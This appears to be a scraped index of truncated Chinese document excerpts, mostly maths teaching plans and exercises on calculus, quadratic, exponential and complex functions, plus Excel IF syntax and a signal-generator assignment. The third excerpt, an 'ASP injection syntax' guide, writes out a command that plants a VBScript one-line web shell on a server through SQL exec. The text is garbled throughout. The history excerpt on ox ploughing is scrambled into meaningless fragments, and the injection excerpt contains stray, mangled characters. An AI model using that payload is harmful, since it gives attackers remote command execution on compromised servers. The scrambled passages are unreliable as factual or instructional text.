【總結】第六章多元函數微積分教學重點:本章重點講授多元函數的基本概念、偏導、全微分、復合函數微分法與隱函數微分法、多元函數的極值及其求法、二重積分的計算。教學難點:本章難點為復合函數微分法與隱函數微分法、多元函數極值的求法、二重積分的計算。教學內容:在前面幾章中,我們討論的函數都只有一個自變量,這種函數稱為一元函數.但在許多實際問題中,我們往往要考
2025-08-21 19:47
【總結】,鐵鏵,牛拉著木犁也,耕地,外歷史上乏其例,牛耕伴隨著原始農業(yè)的,生而出現(xiàn)農業(yè)生需要強,大的勞動力從一開始,,牛這種動物穩(wěn)定而力量,巨大的特點,就被們更,地到了牛和馬最早都出,現(xiàn)在原始農業(yè)地區(qū),而,出現(xiàn)在北方或我西北的,游牧地區(qū),在我,牛耕,地的歷史確實很早,在,秦漢之際就已經出現(xiàn)了,,或許更早而我的馬,,最早也從北方傳的,它,與農業(yè)直的原始關系由,于其善于奔跑的特點,,更地被利到古代的軍事,方
2025-04-14 02:34
【總結】asp注入語法大全(一)1、160。160。用^轉義字符來寫ASP(一句話木馬)文件的方法:160。160。216。。exec’echo^〈SCRIPTlanguage=VBScriptrunat=server^〉executerequest^(l^)^〈/script^〉〉c:\’。--〈/P〉160。160。echo216?!碢〉^〈%execu
2025-08-21 01:10
【總結】實訓題目:函數信號發(fā)生器設計要求設計任務:設計由集成運算放大器于晶體管放大器組成的方波——三角波——正弦波函數發(fā)生器以及輸出為+12V與-12V的電源給所設計的函數信號發(fā)生器提供電壓。性能指標要求1:輸出波形正弦波、方波可調幅度、三角波幅度。2:頻率范圍頻率范圍1HZ~10HZ,100HZ~1KHZ,1KHZ~10KHZ,10KHZ
2025-08-21 18:10
【總結】1、IF執(zhí)行真假判斷,根據邏輯測試的真假值,返回不同的結果。語法:IF(logical_test,value_if_true,value_if_false)。 Logical_test:計算結果為TRUE或FALSE的任何數值或表達式。 Value_if_true:logical_test為TRUE時函數的返回值。 Value_if_false:logical_test為FA
2025-08-21 17:35
【總結】指數函數說課稿我本節(jié)課說課的內容是高中數學第一冊第二章第六節(jié)“指數函數”的第一課時——指數函數的定義,圖像及性質。我將嘗試運用新課標的理念指導本節(jié)課的教學。新課標指出,學生是教學的主體,教師的教要應本著從學生的認知規(guī)律出發(fā),以學生活動為主線,在原有知識的基礎上,建構新的知識體系。我將以此為基礎從教材分析,教學目標分析,教法學法分析和教學過程分析這幾個方面加以說明。一、教材分析
2025-08-20 17:47
【總結】-1-二次函數(1)一、二次函數的定義(考點:二次函數的二次項系數不為0,且二次函數的表達式必須為整式)1、下列函數中,是二次函數的是.①142???xxy;②22xy?;③xxy422??;④xy3??;⑤12???xy;⑥pnxmxy???
2025-01-09 17:46
【總結】1第五章反比例函數復習常州市新北區(qū)龍虎塘中學嚴黎明【教學目標】(一)知識與技能(1)經歷抽象反比例函數概念的過程,領會反比例函數的意義,理解反比例函數的概念。(2)會作反比例函數的圖象,并探索和掌握反比例函數的主要性質。(3)會從函數圖象中獲取信息,解決實際問題。(二
2025-01-09 18:42
【總結】,如圖,在平面直角坐標系中,點A坐標為(-2,0),點B坐標為(0,2),點E為線段AB上的動點(點E不與點A,B重合),以E為頂點作∠OET=45°,射線ET交線段OB于點F,C為y軸正半軸上一點,且OC=AB,拋物線y=x2+mx+n的圖象經過A,C兩點.(1)求此拋物線的函數表達式;(2)求證:∠BEF=∠AOE;(3)當△EOF為等腰三角形時,求此時點E的
2025-08-17 05:09
【總結】山東省昌樂二中初三數學導學案編制人:李亭亭審核人:批準人:1《二次函數的應用》導學案班級____姓名________小組____評價____【學習目標】1、會運用二次函數求實際問題中的最大值或最小值,提高實踐能力。2、通過小組合作、展示質疑,
2025-01-07 16:45
【總結】第三章復變函數的積分3.1基本要求與內容提要3.1.1基本要求1.正確理解復變函數積分的概念.2.掌握復變函數積分的一般計算法.3.掌握并能運用柯西―古薩基本定理和牛頓―萊布尼茨公式來計算積分.4.掌握復合閉路定理并能運用其運算積分.5.掌握并能熟練運用柯西積分公式.6.掌握解析函數的高階導數公式,理解解析函數的導數仍是解析函數,會用高階導數公式計算積分.
2025-08-21 19:44
【總結】第十七章多元函數微分學一、證明題1.證明函數在點(0,0)連續(xù)且偏導數存在,但在此點不可微.2.證明函數在點(0,0)連續(xù)且偏導數存在,但偏導數在點(0,0)不連續(xù),而f在原點(0,0)可微.3.證明:若二元函數f在點p(x0,y0)的某鄰域U(p)內的偏導函數fx與fy有界,則f在U(p)內連續(xù).4.試證在原點(0,0)的充分小鄰域內有
2025-08-17 05:01
【總結】實變函數課程報告姓名學號指導教師實變函數課程報告第1頁共6頁實變函數【摘要】實變函數是近代分析數學領域的基礎知識,它把研究對象擴大到定義在可測集上的可測函數,并運用集合論的觀點對函數及其定義域做更加細致的分析,使微積分在較寬松的環(huán)境中加以運用
2025-01-07 15:14
【總結】三角函數1.如圖所示,點是函數的圖象的最高點,,是該圖象與軸的交點,若,則的值為()A. B. C. D.2.函數(其中)的圖象如圖所示,為了得到的圖象,則只要將的圖象() A.向右平移個單位長度B.向右平移個單位長度C.向左平移個單位長度D.向
2025-08-17 04:33
【總結】鎮(zhèn)江實驗學校九年級數學第一輪復習教學案課題:二次函數的綜合(2)主備:田靜課型:復習審核:陳志英班級姓名學號【學習目標】利用二次函數的性質與圖像解決相關問題;二次函數與其他數學模型的內在聯(lián)系?!局攸c難點】二次函數性質的有關運用;數形結合、分類
2025-08-17 04:31